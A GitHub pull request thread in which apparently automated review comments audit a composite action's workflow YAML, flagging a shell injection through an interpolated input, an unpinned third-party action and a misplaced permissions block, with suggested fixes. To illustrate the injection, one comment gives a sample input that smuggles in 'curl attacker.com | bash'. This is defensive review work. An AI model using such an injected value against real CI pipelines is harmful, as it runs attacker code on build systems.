feat: onboarding junit-upload-github-action#1
Conversation
| id: translate-version | ||
| shell: bash | ||
| run: | | ||
| translated_version=$("${GITHUB_ACTION_PATH}/scripts/translate-version.sh" "${{ inputs.datadog-ci-version }}") |
There was a problem hiding this comment.
🔒 Security: Shell Injection Risk
${{ inputs.datadog-ci-version }} is directly interpolated into the shell run: block. A caller who provides a malicious value (e.g., v5"; curl -s attacker.com | bash; echo ") could execute arbitrary commands.
Fix: Pass the input through an environment variable instead of inline interpolation:
| translated_version=$("${GITHUB_ACTION_PATH}/scripts/translate-version.sh" "${{ inputs.datadog-ci-version }}") | |
| translated_version=$("${GITHUB_ACTION_PATH}/scripts/translate-version.sh" "$DATADOG_CI_VERSION") |
And add DATADOG_CI_VERSION: ${{ inputs.datadog-ci-version }} to an env: block on this step.
| fi | ||
|
|
||
| - name: Install datadog-ci | ||
| uses: step-security/install-datadog-ci-github-action@release |
There was a problem hiding this comment.
❌ Unpinned External Action
@release is a floating branch reference — it can silently change any time the branch is updated, creating a supply chain risk. Composite actions must pin every non-official GitHub action to a specific immutable ref (full commit SHA or a fixed version tag).
| uses: step-security/install-datadog-ci-github-action@release | |
| uses: step-security/install-datadog-ci-github-action@v1 |
Use a concrete version tag (e.g. @v1) or a full commit SHA.
| force: ${{ inputs.force || false }} | ||
| base_branch: ${{ inputs.base_branch || 'main' }} | ||
|
|
||
| permissions: |
There was a problem hiding this comment.
The permissions block appears after jobs:, which is non-standard. While YAML mappings are order-independent (so this works), GitHub Actions convention — and most linters — expect permissions to appear before jobs: at the top level. Consider moving it up for clarity and tooling compatibility.
PR ReviewAction TypeComposite Action — ✅ Passed Checks
❌ Failed Checks
|
No description provided.